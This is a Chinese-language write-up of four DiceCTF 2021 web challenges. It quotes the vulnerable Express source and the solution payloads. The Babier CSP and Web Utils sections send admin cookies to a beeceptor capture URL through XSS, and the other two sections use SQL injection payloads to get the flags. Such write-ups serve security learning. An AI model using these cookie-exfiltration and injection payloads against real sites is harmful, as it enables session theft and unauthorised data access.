DiceCTF 2021

DiceCTF 2021

https://ctf.dicega.ng/

Babier CSP

代码审计

#index.js

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

  1. index.js主要功能是随机返回四个水果
  2. 设置了NONCE参数,并会返回在页面源码中
  3. 包含一个secret目录,通过SECRET值访问
  4. 设置了CSP

重点看看这里的CSP

res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);

script-src 'nonce-${NONCE}'; 表示允许nonce的js脚本来源

所以我们xss时要带入nonce值进行攻击

大概思路明确。给了admin bot,预期思路是通过xss,让管理员携带cookie访问我们的页面,从而窃取管理员cookie

xss

<script%20nonce="g%2bojjmb9xLfE%2b3j9PsP/Ig==">alert(1)</script>

(注意浏览器会将加号+识别为空格,url编码传入)

成功弹窗

窃取管理员cookie

<script> document.location='url'+document.cookie;</script>

由于有CSP,绕过CSP,祭出我的老兄弟,beeceptor,payload:

<script nonce="g+ojjmb9xLfE+3j9PsP/Ig==">document.location="https://abcdef.free.beeceptor.com/"+document.cookie;</script>

url编码,加上url传给admin bot访问

beeceptor成功获取secret值

访问,成功获取flag

Missing Flavortext

代码审计

const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

代码功能不难理解,登陆成功即可查看flag.html的内容,关键在于admin的密码经过随机处理,只能通过sql注入进行。但是发现其中过滤了单引号

app.use(bodyParser.urlencoded({ extended: true }));

看到上面这段代码,设置了extended: true,经过阅读相关文章后发现

extended: true:表示使用第三方模块qs来处理

当extended为true的时候,则可为任何数据类型。

qs处理后解析对象,而经实验证明.includes无法处理对象

所以我们可以使用对象来保证单引号不被过滤

sql注入

username=admin&password[]=a&password[]=' or 1=1;--

上面payload使用如下的对象结构保证单引号不被过滤

{
    "username": "admin",
    "password": [
        [
            "a",
            "' OR 1=1;--"
        ]
    ]
}

测试发现上面使用/*多行注释同样可以直接打印出flag

Web Utils

(想吐槽一下,感觉代码写的有点乱,不够美观)

有两个网站,前者提供缩短链接和粘贴代码的功能,后者提供访问链接的功能

代码审计

主要代码逻辑在view.html中,减少篇幅我直接粘贴script标签中的内容了

<script async>
    (async () => {
      const id = window.location.pathname.split('/')[2];
      if (! id) window.location = window.origin;
      const res = await fetch(`${window.origin}/api/data/${id}`);
      const { data, type } = await res.json();
      if (! data || ! type ) window.location = window.origin;
      if (type === 'link') return window.location = data;
      if (document.readyState !== "complete")
        await new Promise((r) => { window.addEventListener('load', r); });
      document.title = 'Paste';
      document.querySelector('div').textContent = data;
    })()
  </script>

我们在页面上可以看到只有两条路可以走,

Paste

document.title = 'Paste';
      document.querySelector('div').textContent = data;

其中这条路设置了textContent

HTML DOM对象的textContent属性用于设置或返回指定节点及其所有后代的文本内容。此属性与nodeValue属性非常相似,但此属性返回所有子节点的文本。

可以不恰当的理解为这是一个编辑器,传入的所有代码实际都只是文本,无法解析。

再看另外一条路

if (! data || ! type ) window.location = window.origin;
      if (type === 'link') return window.location = data;

如果type为link则会重定向到我们的数据,但是在routes/api.js下限制了传入的数据必须为http/https开头

database.addData({ type: 'link', ...req.body, uid });

查找三个点的具体作用

看到这里就会发现,有和php一样很经典的变量覆盖问题。

举个例子:

test = {a: 3}
test2 = {a: 1, b: 2, c:3, ...test}
> {a: 3, b: 2, c: 3}

变量覆盖

我们可以在createPaste里覆盖type=link即可绕过http的检查

{
   "data":"javascript:fetch('https://abcdef.free.beeceptor.com?c='+document.cookie)",
   "type":"link"
}

访问api/createPaste,构造非法代码

因为传入json格式,记得将Content-Type:改为application/json

让管理员访问https://web-utils.dicec.tf/view/uYfGCSVZ

在beeceptor中接受管理员cookie

Build a Panel

乍一看,怎么又像是个xss。。感觉国内xss,前端的考的都比较少,国外还是比较多的

代码审计

server.js内容比较多,分开分析

const admin_key = 'REDACTED'; // NOTE: The keys are not literally 'REDACTED', I've just taken them away from you :)
const secret_token = 'REDACTED'; 

const express = require('express');
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const sqlite3 = require('sqlite3');
const { v4: uuidv4 } = require('uuid');

const app = express();
const db = new sqlite3.Database('./db/widgets.db', (err) => {
    if(err){
        return console.log(err.message);
    }else{
        console.log('Connected to sql database');
    }
});

let query = `CREATE TABLE IF NOT EXISTS widgets (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    panelid TEXT,
    widgetname TEXT,
    widgetdata TEXT);`;
db.run(query);
query = `CREATE TABLE IF NOT EXISTS flag (
    flag TEXT
)`;
db.run(query, [], (err) => {
    if(!err){
        let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
        db.run(innerQuery);
    }else{
        console.error('Could not create flag table');
    }
});

声明了一些变量,插入了一个假flag,不懂什么意思。admin_key和secret_token感觉是比较有用的,继续往下看。

app.use(express.static(__dirname + '/public'));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(function(_req, res, next) {
    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");
    res.setHeader("X-Frame-Options", "DENY");
    return next();
});
app.set('view engine', 'ejs');

app.get('/', (_req, res) => {
    res.render('pages/index');
});

设置了CSP,根目录

const availableWidgets = ['time', 'weather', 'welcome'];

app.get('/status/:widgetName', (req, res) => {
    const widgetName = req.params.widgetName;

    if(availableWidgets.includes(widgetName)){
        if(widgetName == 'time'){
            res.json({'data': 'now :)'});
        }else if(widgetName == 'weather'){
            res.json({'data': 'as you can see widgets are not fully functional just yet'});
        }else if(widgetName == 'welcome'){
            res.json({'data': 'No additional data here but feel free to add other widgets!'});
        }
    }else{
        res.json({'data': 'error! widget was not found'});
    }
});

可以看到此处type可填写的值规定为availableWidgets中的三个值

app.get('/admin/debug/add_widget', async (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(cookies['token'] && cookies['token'] == secret_token){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
        db.run(query, (err) => {
            if(err){
                console.log(err);
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        res.redirect('/');
    }
});

可以看到此处对我们传入的参数并没有任何过滤,直接插入到sql语句中,那么我们可以控制其中的widgetname查询之前创建的flag。看到这里知道secret_token的用处了,所以我们不能直接访问该url,在admin_bot下,让admin访问即可

sql注入

我们来分析一下格式

INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');

panelid可以在cookie中找到,widigetname即为我们要查询的sql语句

widgetdata满足json格式

{"type":"weather"}

注入形式如下:

68e8a45f-3dc2-4387-b8cf-396bc12f7374', (SELECT * FROM flag), '{"type":"weather"}');--

最终payload:

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=68e8a45f-3dc2-4387-b8cf-396bc12f7374',+(SELECT+*+FROM+flag),+'{"type"%3a"weather"}')%3b--&widgetname=0&widgetdata=0

posted @ 2021-02-21 12:15  kar3a  阅读(470)  评论(0编辑  收藏  举报